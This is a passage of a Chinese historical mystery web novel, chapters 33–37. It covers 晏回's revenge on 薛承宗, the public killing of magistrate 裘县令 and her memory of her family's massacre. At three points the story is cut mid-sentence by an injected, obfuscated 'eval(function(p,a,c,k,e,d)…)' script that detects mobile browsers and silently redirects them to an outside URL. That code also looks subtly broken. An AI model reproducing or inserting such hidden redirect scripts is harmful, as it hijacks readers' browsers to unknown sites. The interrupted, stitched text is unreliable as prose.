“只怕……等待他的，唯有以死谢罪了吧！” 晏回的尾音微微上扬，如同一根锋锐的钩针，将薛承宗的心猛然抽紧：“不可，万万不可！” 他终于慌了：“晏公子，世茂对此事是毫不知情的，他是无辜的啊！更何况，世茂无论平时多么跋扈纨绔，他对你可算是一片真情，是真心将你看作嫡亲兄弟。冤有头债有主，罪不至妻儿，祸不及子女，我的错自有我自己承担，请晏公子万万不要迁怒世茂啊！” 晏回勾唇而笑，望着那方才还傲慢不可一世的薛承宗，此刻却趴伏在地，捂着受伤的胳膊低声下气求告无路的样子，悠悠道：“你还知道罪不至妻儿，你带着手下的人追杀青杳之时，可能想到今日的下场？” “薛承宗，你知道吗，到现在薛世茂和薛灵犀还被锁在房间里，等着自己的爹爹前去相救呢！” 痛苦与懊悔齐齐涌上心头，事到如今，薛承宗也并不为薛负之死悔悟，但他对子女的疼惜舐犊之情，却让他彻底失了神智，只知叩头不迭：“晏公子，我错了，我错了，我错了！” 看着对方的丑态，晏回依旧淡然笑着，那笑容里没有半分温度，只有复仇的快意和彻骨的悲凉。 “错了？”她缓缓蹲下身，将一把短刃放在薛承宗的脚边，“那便看你自己，如何选择了。”她推开门，身影消失于浓夜至深处。 一炷香之后。 火舌舔舐着悔过堂的雕花窗棂，将朱漆木门烧得噼啪作响。晏回坐在缓缓行驶的牛车中，车帘被夜风掀起一角，正对着那片炼狱般的火海。 堂内的惨叫声隐约穿透火光传来，时而似笑，时而如泣，听得人汗毛倒竖。说来也奇怪，往日里人满为患的薛府，此刻却任由悔过堂火光冲天，并不见人前来救援。透过跳动的烈焰，晏回能看见薛承宗扭曲的人影还梁柱间挣扎，那一片惨红中炽烈的黑色，像极了佛经中描述的阿鼻地狱。 晏回将目光从那片火海中抽回，落在自己的指尖。 “走吧。”她轻轻道，声音淡得像一片羽毛落在风里。 34. 生死签（十七） 牛车缓缓行在崎岖的山路上，拉车的青墩儿甩着尾巴，脖颈上的牛铃叮当作响。车中寂然无声，就连往常话密得连根针都插不进去的唐珠儿和范凌舟，此刻也恹恹地靠在晃动的车壁上，眼睛半睁不睁，只怕再过个一时半刻便要彻底睡死过去。为了能让薛承宗自食恶果，这段日子以来众人可谓殚精竭虑，这厢事成，骤然松懈，自是再难掩藏困意，呼呼大睡起来。 晏回却始终是清醒着的，她微微抬高左肩，让唐珠儿的脑袋枕得更舒服些，眸子却始终凝着车窗外缓缓流淌的黑色山峦。今夜悔过堂的大火太过炽烈，让她忆起了某些相似的、沉痛的、不堪的过往。虽然她面上依旧冷静如常，可心头燃起的怒火却久久难以平息。 “为什么……一定要是负郎？”车厢另一头的青杳，突然梦呓般地蹦出一句。 晏回抬眸望去，女子的面色在浓重的夜里惨白如纸，并无一丝一毫大仇得报的快意，相反，那苍白中多得尽是介怀与迷茫。晏回明白，青杳所求地，并非是简单的复仇，而是一个答案，一个她为何被迫与所爱之人死别的答案。 “因为，他是县令家两位公子的蒙馆先生。” 青杳倏地睁大眼睛，却听晏回继续道：“薛氏一族深耕济南府数代，坐拥历山脚下的千亩良田，并以此为基，雄踞一方。然而，那片田地在薛承宗的父辈租卖予佃农，是为永佃田产，县衙若按律收购，薛氏便无法插手。” 她顿了顿，声音冷了几分：“所以，薛承宗便选中了薛负——县令公子的蒙席恩师，用号称祖宗意志的生死签，逼迫薛负挟持两位公子，强令县令放弃收购良田。或者干脆，直接一刀结果了县令的性命，让此事消泯于无形。” “可……可县衙收购良田，给他银钱便是，为何非要杀人？”青杳仍不解，泪水顺着脸颊滑落。 “因为无论是薛府还是县衙，觊觎和贪妄的从来不是那千亩良田，而是那良田下藏着的——慈石矿。” 青杳怔住了，不觉间手中被人塞入一物，触之冰凉温润，低头一看，竟是薛世茂随身佩戴的慈石玉佩。 “这可是济南府唯一的慈石矿，若是私自垄断，利润堪比盐引。”范凌舟不知何时醒了，不请自来得加入到交谈之中。晏回正说得疲惫，便将话语权彻底交接了过去。 “还记得那个砚池马场吗？当时为了制造一场流石，我可是忙活了大半夜。”嘴里解释着，范凌舟还不忘了在晏回面前显摆抢功，刻意扬起了声调，“那里有一片巨大的灰黑色岩壁，其上布满蜂窝状的凹坑，大的如拳，小的如豆，内里则是赤褐色的石心，正是罕见的慈石矿。” “原来……如此……”青杳将玉佩攥入手心，紧紧贴在胸口。这一刻，她方才醒悟，薛负那句“族里有要事相商”背后，藏着怎样的绝境；那句“噤声！莫让他们听了去”里，又隐含着怎样的恐惧。 一个家族的繁衍与兴旺，若是皆要以寻常族人的性命为引，那又有什么存在的意义。不若将这一切，都随悔过堂的大火散了去，方才干净…… 正自想着，车厢突然猛地一晃，青杳无暇反应，因着惯性直挺挺地朝前摔过去。还未及惊叫，腰腹处便被人揽住，稳稳地扯了回来。青杳心有余悸地回头看去，只见晏回一手揽着她的腰，一手扶住还在呼呼大睡的唐珠儿的额头，双腿岔开，稳如泰山。 一旁的范凌舟手伸在半空，见晏回不动如山，只得讪讪地缩了回来，一掀车帘，去车外看看情况。 夜风裹着山雾灌了进来，带着股湿冷的土腥气。驾车的楚庸手足无措地紧攥着缰绳，范凌舟眯眼一瞧，只见牛车前方三步开外，一道水绿色的身影正死死拦在路中央——正是薛灵犀。 薛灵犀的胸口剧烈起伏着，显然是赶了很久的山路。往常一丝不苟的发髻散乱了大半，几缕湿发黏在苍白的脸颊上，沾着草屑和泥点，狼狈异常。水绿色的裙裾被路途中的灌木丛和荆棘划破，隐隐露出内里雪白的衬底，薛灵犀咬着唇，下意识地用手臂遮掩着，目光却死死盯着被范凌舟挡住的车厢。 范凌舟心里咯噔一下，暗道不妙。他们本就想拍拍屁股走人，谁能想到裹了小脚的薛灵犀竟如此执拗，追随至此。只是一个转瞬，惯常温和明亮的笑容就浮在他俊俏的脸上：“薛姑娘，这么晚了，崎岖山路，踽踽独行，岂不危险？还不快些回家去，莫让家里人担心。” 薛灵犀双眸泛红，定定道：“我要见他。” “见谁？啊——见我家公子啊！”范凌舟笑道，“薛姑娘怕不是忘了，我家公子是被薛府赶出来的，丢了马匹，失了银钱，正要返回西域再做打算。薛姑娘此时拦路……是不是有点儿——”范凌舟的双眸陡现一抹戾色，“——过分了！？” 那白生生的面庞上，带着威胁之意的森冷笑容让薛灵犀不由得后退了一步，片刻之后，她却再次一咬牙逼了上来，还是那句话：“我要见他！” ——诶！这小丫头敬酒不吃吃罚酒！若再不撵她走，指不定要闹出什么事端来！ 范凌舟脸色一沉，正欲翻身下车，身后的车帘却倏地掀开，攫住了薛灵犀全部的视线。 车中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184834|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端坐之人，如花坠月，无悲无喜。她的长发松松地绾着，如同托住明月的乌云。束缚着身躯的裹胸已然去除，玄色劲装下玲珑纤细的身姿再难掩饰她的性别。看着看着，薛灵犀只觉自己的视野浮上一层水雾，她的喉咙里发出一声意味不明的呜咽，脸上的笑比哭还戚哀。 “你竟……”良久，她才挤出这两个字，用颤抖的指尖捂住了自己惨白的脸，一滴浑圆的泪珠顺着五指的间隙，滚落下来。 她心中的歆悦之人，她眼中的世家公子，竟然是逼她父亲走上绝路的女子，这世间，还有比她薛灵犀更可悲可叹可笑之人吗？无数情绪在炽热的眼眶中翻涌堆积，她深吸了数口气，方缓缓将掩面的手拿了下来。 晏回又淡淡凝了薛灵犀一眼，放下车帘，命令道：“走吧！” 楚庸心有余悸地驱使着青墩儿绕过呆立的薛灵犀，正欲加速，却听身后女子悲怆大喊道：“你们只道我爹要了无辜族人的性命，却不知无论谁人坐上我爹的位置，都会做此选择！只要源头不竭，这贪妄之水便永难断绝！” 同楚庸一道坐在车辕上的范凌舟长眉一挑，都不用晏回吩咐，便默契地抬起手，示意楚庸停车。楚庸赶紧扯住缰绳，正欲发足奔跑的青墩儿发出一声不满的哼哧。 “今夜，我被关在房中，思来想去，方猜度出此间计较。我想去救爹爹，但终究是晚了一步。我只得……去翻找爹爹的书房，只求一个真相。” 纤细的手臂高高扬起，指尖紧攥着一封书信，信纸在夜风中簌簌作响：“我爹……亦或是薛府都只是县令手中的一枚棋子！裘县令想要独吞矿脉献给朝中浙党，又怕薛府分羹，这才用了下作手段想要收回田地。我爹……的确是做错了，可是……那裘县令便没错吗！他又何尝不是为了个人的利益，以整个薛府来要挟我爹呢！” “你们为薛负杀我爹，却放过真正的罪魁祸首，这就是你们所谓的‘替天行道’吗？”最后声嘶力竭地尾音飘散在冷风中，薛灵犀的身子晃了晃，无助地跪了下来。经过一晚上的磋磨，她早已精疲力尽，只凭着一腔怒火强自支撑。此刻，将胸中怨气一吐而出，薛灵犀再也没有余力，攥着那薄薄的白竹纸信笺，兀自垂泪。 泪水滴落在被车轮碾过的山路上，积聚成一片冰凉苦涩的水洼。水面反射出一片玄色的暗影，薛灵犀呼吸一滞，抬起头来，正撞进一双琥珀色的眸子。晏回不知何时下了车，正垂眸看着她，狭长的睫毛投射在颧骨上，让本就深刻的眉眼呈现出一种深不见底的平静。 “薛姑娘，你想报仇吗？” 35. 生死签（十八） 济南府的秋分，总余三分水汽七分凉。天色依旧恹恹，唯见东方一抹苍白，缓缓浮于山峦之上，如同躺在如瀑青丝上的女儿面庞。估衣街沿街的早点铺子次第亮起灯来，平添几分烟火暖意。 花增光扛着糖墩儿靶子，打街尾拐进来。那靶子是老竹篾编的，插满了裹着晶莹糖衣的山楂串，红得亮眼，与满地金黄的落叶一映，漂亮得紧。 这日，花增光出来得比往常早些，只觉上眼皮黏糊糊的，直往下眼皮上贴。前些时日太过惫懒，每逢阴雨天便在家中偷闲，媳妇儿瞧他不顺眼，日日呵斥，惹得他屁股上燎了火似的，再也坐不住，早早出来练摊儿。 他打了个哈欠，眼角余光扫过街角的老槐树，脚步猛地顿住—— 那是一株相传栽植于宋代的“宋槐”。树身粗可合抱，皲裂的树皮上爬满深绿的苔藓，枝桠向两侧横生，如巨人摊开的手掌，将半条街的天光都遮得昏暗。 树杈间，似乎摇荡着一团深色的影子。 花增光揉了揉眼，昏沉的头脑清醒大半。那影子穿着青色的朝服，胸前绣的鸂鶒补子在微光中栩栩而动，如同活过来一样…… 花增光想都没想，扑通一声跪了下来，大声道：“给大老爷请安！” 空无一人的长街上，遇到孤身一人的县令大人，本来就是极其吊诡之事。可官老爷又不是平头百姓，还有什么做不得的事呢？说不定，县令大人就是心血来潮，想学熊瞎子撞树也未可知啊！ 花增光内心自我劝慰着，却发现树下的人影一动未动。 他小心翼翼地抬起头，只觉心脏漏跳了半拍。——不对，那人影不是站着，而是，钉着！ 一根粗铁钎自县太爷的肩胛骨穿过，将他的身体死死钉在槐树主干上。秋日的晨风将官袍下摆微微掀起，露出里面惨白得没有一丝血色的脚踝。县太爷双目圆睁，用一种瞠目结舌的表情凝着对面的街道，仿佛在死亡前的一瞬，知晓了什么令人震惊又悚然的讯息。 在县太爷被钉死的树干上，在纵横交错的老树枝丫间，垂挂着十数个苍白狭长之物，在死者的尸首上投射出诡异的阴影。那是象牙制成的笏板，其上用朱笔提着字，簪花小楷，墨色淋漓。 ——草菅人命，当杀！ ——献矿媚上，当杀！ ——侵吞良田，当杀！ ——助党乱政，当杀！ 花增光识的字不多，认到最后，只觉满眼的“杀杀杀”，泼天盖地，滚滚而来。当下手一软，糖墩儿靶子从手中滑落砸在青石板上，嵌着糖壳儿的山楂球滚了一地，像肆意流淌的血珠儿。 花增光喉咙里发出“嗬嗬”的抽气声，连滚带爬地往后退着，直到后背撞在冷冰冰的外墙上方才止息。 “救命啊，杀人啦！”花增光的惨叫声在逐渐朦胧亮起的天光中传了很远。 随着这一声与太阳同时跳出来的喊，沿街铺子的门板“吱呀”作响着推开，探出一个个好奇的脑袋。众人莫不是先疑惑地揉眼，继而面色惨白，紧接着魂飞魄散，再便是抽气尖叫，整条估衣街在清晨的骚乱中炸开了锅。 “这是……裘……裘县令啊！” “老天爷啊，这是遭了天谴啊！” “死者为大，这么说不好吧！” “有啥！那些白板子上写的，哪个不是真儿真儿他自己干下的事儿！” “就是，搁这儿装起菩萨来了！当时，裘县令把你的田产判给宁老财的时候，你骂得可比谁的动静儿都大！” “诶，怎么一个个冲我来了！晦气！” 在济南知府孟威带着一干快班足吏赶来之前，围观百姓早已将这位裘县令的“英雄事迹”传了个遍。众人面上的悚然恐惧之色，也逐渐被大仇得报的快意所取代，许多曾经被裘县令压迫役使之人，甚至难以掩藏的露出了灿烂的笑容。 姗姗来迟，大惊失色的孟威生怕聚集的百姓闹出更大的祸事，催促着手下的衙役对围观百姓进行驱赶。水火棍组成的棍阵将凶杀现场围成一圈，逼着人群向后退去。人群之中，一个青衣书生略一侧身，袖口微动，“嗖”的一声锐响，一粒石子擦着孟威的耳边飞过，“啪”地击在老槐树的树干上，震得垂挂的象牙笏板簌簌作响。 “何处刁民，胆敢袭官！”孟威勃然大怒，循声望去，只见人群如壁垒城墙，摩肩接踵，将可能存在的袭击者挡得严严实实。 “你们的狗眼都瞎了！”满肚子火气无处发泄，他冲着一旁的官差怒吼道，“给本官把闹事者揪出来！” 还不待众官差有所反应，就听人群中炸开一句女声：“官差打人啦！知府大人要杀人灭口啊！”那声音清亮悦耳，脆生生地直冲云霄，将话音清楚明白地送到每个人的耳朵里。 如同火星落进油锅，本就因裘县令之死心绪激荡的百姓顿时炸了锅。有人捡起地上的石子扔向衙役，有人推搡着往前涌，怒吼声、咒骂声混作一团。 “反了！反了！”孟威又惊又怕，他深知裘县令之死牵连甚重，若此事闹大，自己必成替罪羊。此刻见众人耸动，索性心一横，拔出腰间佩刀指向人群：“给我打！谁敢闹事，打死不究！” 一声令下，如狼似虎的众衙役立时扑上前来，高高扬起手中的水火棍，寻着人群中老弱之人便欲挥下。 “住手！” 突然，一道白影如同跃然东升的朝阳映亮众人的眼眸，只见一匹雪白的神驹飞掠过人群，横在百姓与官差之间，堪堪挡住了即将落下的棍棒。白马上端坐着一名女子，一身白衣，头戴帷帽，面容隐在面纱之下看不真切，唯见双眸如冰雕雪砌般射出冷冷寒光，直逼狐假虎威的官差。 人群出现片刻的死寂，紧接着济南府的老街坊便喊出了女子的名姓。 “柳仵作！” “这是柳仵作啊！” “柳仵作为我们做主啊！” 孟威此时早已气血上涌，哪还管众人喊什么，只是隐隐听到“仵作”两字，胸中怒火更甚，心中暗道：岂有此理，一名小小仵作还敢公然和本官相抗！不要命了！ 当下狂吼道：“哪来的贱籍，给我打！” 谁料，这命令一下，众位官差却是面面相觑，谁也不敢抢先动手，连高高扬起的水火棍都怯生生地垂落下来。 孟威气得七窍生烟，当下也不顾自己的官身，抢过水火棍就往白马上招呼。 “谁敢！”又一道男声悠悠飘来，那声音不急不缓，乍听之下颇为柔和，却又隐含着不容置疑的威压之感。 听到这个有几分熟悉的声音，孟威也不敢动作了，循声望去，一名中年男子不知何时来到了人群之中，面对剑拔弩张的态势，他只是微微抬手，风姿隽雅的面容上露出安抚的笑容。 众人怔然不动，方才还人声鼎沸的街道此刻掉针可闻。“扑通——”不知是何人起的头，人群如退潮的浪涌一般跪倒一片，众衙役官差也互相对了个眼色，老老实实地跪伏于地，仿佛刚才的“官逼民反”未曾发生过一般。 最后，孟威也颤巍巍地松了手中的水火棍，双腿发软，苦着脸拜了下去。 “下官……下官，拜见沈大人！” 来者不是别人，正是名声直逼海瑞，人称“沈青天”的山东按察使——沈忘沈无忧。而当先阻住官差，喝止恶行的则是沈忘的夫人，与宋慈比肩的仵作柳七柳停云。 沈忘的目光在众人趴伏的脊背上一一掠过，大踏步地从瑟瑟而抖的孟威头前迈了过去，搀扶起最前排的一名老人。 “老丈，可有伤到？”沈忘弯下腰，清俊的面容上尽是柔和的笑意。 老人激动万分，打着哆嗦一叠声的告罪感谢，沈青天沈黑子大老爷的乱叫。沈忘不以为忤，待老人絮叨完，他扬声对众人道：“诸位乡亲，历城县衙裘县令遇害一事，案情重大，牵涉甚广，绝非寻常凶杀。本官既已到此，定会将此事查个水落石出，绝不使真凶逍遥法外。” “而诸位所诉其贪赃枉法之事，”沈忘的眸光若有似无地往孟威身上一瞥，“本官也定会一查到底，还乡亲们一个公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184835|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。” 话音刚落，人群中便爆发出欢呼雀跃之声，沈忘一边笑着受了，一边转头对柳七温声道：“停云，时间紧急，我瞧着知府大人的仵作一时半会儿也赶不过来，便劳烦你先行勘验。” 孟威方才没有认出按察使夫人，出言不逊，本就心头瑟瑟，此番哪还敢眼观鼻鼻观心得装木头人，赶紧道：“沈大人，这如何使得！岂能劳沈夫人大驾！下官这便——” 柳七本就极厌恶此等欺下媚上之辈，对沈忘略一颔首，冷着脸躲开孟威的拉扯，卸下马背上的褡裢，径自向裘县令钉在树干上尸身走去。 孟威挓挲着两只手，没有拦住柳七，心中尴尬懊恼自不必说，只得转头冲围观的百姓们发起了官威：“沈大人查案，还不速速退下！” “欸——”沈忘睨了孟威一眼，尾音高高扬起，带了几分戏谑之意：“本官查案自是光明磊落，百姓既为苦主，又为见证，何须驱散？孟大人，你说——是也不是？” 孟威暗暗叫苦，他深知沈忘面上清风朗月，眼里却容不得沙子，嘴上更是得理不饶人，只能陪着笑脸，喏喏称是，退到一边，再也不敢发号施令。 这边厢，柳七走至槐树下，先绕尸体一周，测量四至。后又从褡裢中取出羊皮手套覆于手上，将一卷油纸铺于树下，焚苍术皂角香驱散尸臭，再将一丸苏合香置于舌底，一套动作行云流水，不急不缓，极是顺畅。 沈忘也不闲着，寻来笔墨纸砚，自然而然地行起推官之责。 “尸斑浅淡，压之褪色，眼膜苍白，甲床泛青，皆是血脱之兆。”柳七一边喝报，一边抽出银制探针，顺着铁钎与骨骼的缝隙缓缓插入。探针抽出时，针尖裹着暗红色凝血块，尚未完全干涸。 “创腔内有凝血块形成，铁钎表面亦有自上而下的血流凝固痕迹，说明铁钎刺入时，死者心脏仍在跳动，血液顺着创口涌出，直至失血过多而亡。” 沈忘手下笔走龙蛇，口中喃喃道：“如此说来，凶手是将他活生生钉在树上，任其流血而死。” 狼毫笔的笔尖忽地顿住，沈忘俯身看向穿出尸体的铁钎，沉吟道：“这铁钎尖端打磨锋利，有螺旋状的纹路，刺入时应是借助外力旋转拧入，加剧创口撕裂，导致血脉破裂，流血不止。” “正是”，柳七颔首，“按照这种伤势，死者被钉入树干后，应是仍存活了一炷香左右。” 沈忘闻言，蹲下身来，正对上裘县令目眦欲裂，求告无门的惨烈面容。他抬起手，垫着柳七递过来的手帕，用力掰动裘县令已然僵硬的下颌。 黑洞洞的口腔中，舌根处血肉模糊，断裂的筋膜呈现出可怖的紫黑色。 “放血，穿肩，拔舌……这可不是凶杀，这是——私刑。” 沈忘的声音不急不缓，带着一丝了然的笑意。柳七默契地抬起头，道：“无忧，可是有了查案的方向？” 孟威本在一旁听得双腿发软，此时赶紧站起身，扮作摩拳擦掌、蓄势待发之态，只待沈忘一声令下。 却见那沈按察施施然起身，目光投向正聚精会神围观的人群。此时，已是晨光初明，旭日东升，青色的山岚已然散去，取而代之的是秋季无垠的碧空。人群之中，有耄耋之年的老汉，有瑟缩心惊的妇孺，有袒胸露腹的屠夫，有牵黄擎苍的猎户……可方才引发骚乱之处，却是空出了一块区域，似是少了几人。 “凶手的重点非是杀人，而在诛心。”沈忘道，“铁钎钉身，是让他活着承受屈辱；笏板悬尸，是让他死后罪行昭彰。如此好戏，若只是趁着夜深人静做下了，岂非锦衣夜行？” “定然是要煽动众人，口口相传，把事情闹大，最好上达天听，方不负这场苦心孤诣的‘大戏’。 ”长眸微微眯起，沈忘若有所思，“也许方才，这‘戏班子’就混在围观的人群之中，眼睁睁地看着这场他们亲自上演的闹剧。” 而此时，沈忘口中所言之人，正一个接一个地钻进弄堂，消失在济南府纵横交错的青砖巷陌深处。 （第二卷·完） 36. 不秋草（一） 人天解种不秋草，欲界独为无色花。——《赋丹霞下寺竹》 * * * 火。 漫天的火，舔舐着雕花窗棂，将武略第的匾额烧成焦黑的骨架。火星噼啪炸响，混着梁柱坍塌的轰鸣，震得密室石墙都在发颤。晏回将脸颊紧贴着冰冷的墙面，不敢错过墙外的丁点儿声响。 “放开我！我夫君乃是锦衣卫千户！你们不能——啊！”母亲尖锐的惨叫刺入耳膜，晏回目眦欲裂，短刃倏然出鞘。 她不能再藏了，她要和那帮狗贼斗个鱼死网破！ 瞳仁在充血的眼眶中猛地一颤，晏回俯下身子，拼尽全力扒掘着身前的地面。先是短刃撬动，后是十指挖刨，她咬紧牙关，任指甲连着皮肉翻折都未曾放缓速度。终于，她的面前出现了一个碗大的深坑。 她贴身取出一卷物什，卸下里衣的袖子，郑重裹好，正欲埋入坑中，却忽又听到一声响天彻地的怒喝。 她的动作僵住了，那是父亲的声音。 与母亲的柔情似水不同，父亲待她一向严苛。他似乎从不将她看做是锦衣卫千户的嫡长女，反倒像对待一名预备役缇骑——天未亮便要扎马一个时辰，短刃劈刺三百次，稍有松懈便以“战场无儿戏”为由，用藤条抽打掌心。同弟弟一样，她也要按时准点到私塾学文习字，经史子集样样不落。而对于女子看重的面红绣花，父亲却是嗤之以鼻。 “女子立身，比之男子更是艰难，不可有一日松懈。” “习武，非是为着逞凶斗狠，是为了在千钧一发之际，仍有一搏之力；读书，亦不是为了考取功名，是为了在险象环生之中，仍能看清谁是敌人，谁又是伪装成友人的敌人。” 父亲的声音，就如同锦衣卫的诏狱中带着倒刺的铁鞭，每每闻之，都让晏回禁不住悚然。可事到如今，这声音却又成了她唯一的倚仗。 墙外父亲的怒喝陡然拔高：“吾乃锦衣卫千户张琰，奉张首辅之命查抄贪腐，何罪之有！” 一声冷嗤伴随着父亲的闷哼一同响起：“张首辅？笑话！你是说那私藏废辽王府金宝，贪污渎职的乱臣贼子吗！” “张首辅清丈田亩、整顿吏治，哪点对不起天下苍生！而你们，借风宪之名，行投机之实，枉做小人，方才是误了圣上，误了——” “噗嗤！” 利刃入肉的闷响盖过了父亲的嘶吼，晏回情不自禁地哆嗦了一下，双拳猛地用力，短刃的锋芒已经割破皮肉，鲜血顺着指缝流淌下来，晏回却浑然不觉。 “爹——娘——”她的双唇翕动，发出无声而悲怆的哭喊。 父亲的喉头发出“嗬嗬”的漏气声，从不断吞咽的咕哝声中竭力拼凑成一句话：“月儿，去……去寻朱……” “找死！”一声厉喝阻住了父亲未说出口的话语，也泯灭了晏回最后的希望。 “搜！那丫头肯定藏起来了！兹要抓到人，生死无论，皆有重赏！” “遵命！” 纷至沓来的脚步声自墙外响起，晏回拾回坑中的物什，贴身藏好，面上已然有了死志。 她虽年少，又是女子之身，可赖于父亲的着力培养，也早已懂得了自家与前任首辅张居正之间千丝万缕的关系。父亲身为锦衣卫千户，官职不高，却是张首辅巡查地方、制约官员的一把利刃。张首辅春秋正盛，笃志改革之时，父亲利用锦衣卫的身份倾力配合，极得其信任。而如今，张首辅病逝，司礼监掌印太监冯保被发配南京孝陵种菜，家产尽没，一干核心盟友尽遭清算，父亲又如何逃得过？ 可那些构陷忠良，政治投机的小人万没料到，身为锦衣卫的父亲早已掌握了他们的把柄。他们狗急跳墙，不择手段，将原本的罢官夺职提级为抄家流放，用一家老小的性命逼着父亲交出证据。 事到如今，母亲身死，父亲被杀，家人葬身火海，她又该如何自处？ 晏回发狠地攥紧怀中的包裹，最后一次望了一眼隔绝生死的密室石壁，转身逃入密室长廊的深处。 * * * 范凌舟端着一碗新熬好的梅粥，立在西厢外轻轻敲了敲门。 “西楼？” 屋内寂然无声，稍带片刻，范凌舟推门而入。 自从将那裘县令就地正法之后，晏回就不对劲起来。范凌舟说不出具体的点，只是那种不安如同满涨的潮水，逐渐将他淹没。本就清冷寡言的晏回，话更少了，她时常独自闷在房里，一呆就是一整日。 晌午吃饭的时候，他看到晏回纤长柔白的脖颈上鼓起一个红包，想来是季节变换，心火虚旺所致。他赶紧取了冬日存下的雪水，与上白米同煮，大火煮沸后转小火慢熬，至米粒软烂、粥体稠滑，再放入洗净的梅英，一滚即起。 此粥无需入糖，仅取梅英的清香与微酸，中和上白米的甜糯，雪水的凛冽，乃成轻清去火，调和脾胃之佳品。 范凌舟对自己的厨艺极为自信，脸上便不免带了笑意。屋内烛火莹然，照亮了床榻上蜷曲的身影，范凌舟走上前，兀自笑道：“我就知道你没睡——诶，睡了？” 他的声音轻了下去，探身望向背朝着他的晏回。女子修长纤柔的身子此刻紧紧绷着，如同一弯拉伸到极致的弓。乌黑如墨的发散在瓷枕上，将她苍白的脸托举成深潭上的月亮。范凌舟的笑意凝住了，他轻轻搁下粥碗，俯身探得更近些。 睡梦之中的晏回呼吸微弱而急促，像被什么死死攫住了一般，齿间漏出几不可闻的呓语，断续如游丝。烛火晃了晃，映得她眉心深锁，山雨欲来。 范凌舟从未见过晏回这般样子，心中莫名一酸，究竟是什么事情，惹得他的魁首这般心焦不安？ 他不愿徒留她一人在梦中挣扎，轻缓至极的抬起手，向着晏回的肩头抚去。说是迟那时快，还不待范凌舟的指尖碰到晏回的衣襟，对方却倏然睁眼，眸中尽是无法聚焦的赤红。晏回出手如电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184836|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，在抬眸的瞬息，右手便已探入瓷枕下抽出短刃，寒光直刺向范凌舟的咽喉，竟是使出了搏命的杀招。 范凌舟瞳孔骤缩，清晰映出刀刃的锋芒以及晏回那张苍白如纸的面庞。他终究没有躲，喉结轻轻滚动，似是想说些什么，却化作一抹近乎纵容的笑意，缓缓闭上了眼睛。 短刃的锋芒停在离他颈侧寸许处，刃风激得他衣领微微颤动。晏回的手腕还在抖，指节因用力而泛白，可那双混沌的眸子却慢慢聚焦——她看清了范凌舟闭目而待的脸，看清了他唇角柔和的笑意，看清了他雪白的颈项上那一丝醒目的殷红。 “怎么不躲。”晏回急促地喘了几口气，语气里带着罕见的懊恼。 骤然爆开的灯花映在范凌舟的眸子里，漾开藏不住的暖意。男子轻轻拨开不过寸许的刀尖，温声道：“手抖成这样，握不稳刀的。” 晏回静静凝着她，只觉噩梦残留的怒火与疯狂逐渐退却，唯留冷硬尖锐的余烬。在尚未清醒的那一瞬，她从胸口涌出一股毁天灭地的冲动，往日里被冷静自持压抑的燥郁之感喷薄而出，几难自控。这是独属于她晏西楼的深渊，是每每忆起都必死过一次的没顶之灾。 见晏回始终神色恹恹不语，范凌舟献宝般将那碗梅粥捧至晏回眼前。温润的热气浮了上来，带着白梅特有的清香，让晏回定在一点的瞳仁也随之转了转。 “尝尝？” 晏回手中的短刃松了，当啷一声坠在榻上。 范凌舟只当她应了，自顾自地搅动勺柄，舀取白粥最上层晶亮粘稠的米油，细细吹了吹，方送到晏回唇边。 女子紧抿如刀的唇线缓和下来，微微张开，竟是顺从地含住勺子咽了下去。 范凌舟心中暗喜，正准备乘胜追击，再舀一勺，却见晏回柳眉微皱，吐出一个字：“酸……” 范凌舟长眉一扬，啧了一声道：“西楼，这便露怯了吧！梅粥之妙，正是取米之甘香，梅之清酸，方为佳品。这梅粥啊——” 见范凌舟又要开始八竿子打不着的长篇大论，晏回赶紧摆了摆手，接过粥碗，不顾梅粥尚且微烫，一仰脖，一饮而尽。 随着最后一滴米油滑入喉中，范凌舟悬着心才算落了下来。 他施施然起身，接过空空的粥碗，眯眼笑道：“好好好，虽是牛嚼牡丹，但也总算没浪费这雪水梅英的精魂。” 他又歪着头，打量了晏回几眼，见她气息平稳，再无戾色，方道：“弃我去者，昨日之日不可留；乱我心者，今日之日多烦忧。西楼，过往之事，就暂且放下吧。” 晏回微微抬眸：“若是放不下呢？” “那唯有——”范凌舟脸色一凛，指尖在碗沿上一摩挲，心下已然笃定。眸中笑意敛去，尽数化作凛冽杀意，腰间拂尘如锦缎旋出，手中空碗向上一抛，手腕轻转，洁白的拂尘便稳稳托住了落下的碗。 “——愿将腰下剑，直为斩楼兰！但凭魁首吩咐！” 37. 不秋草（二） 长生观地下的石室冬暖夏凉，及至秋日，却不免冷潮了些，加之石壁上火把影影绰绰，让人心生凉意。石室正中摆放着一张巨大的石桌，楚庸正襟危坐，一旁的唐珠儿正努力消灭面前的一包零嘴儿。 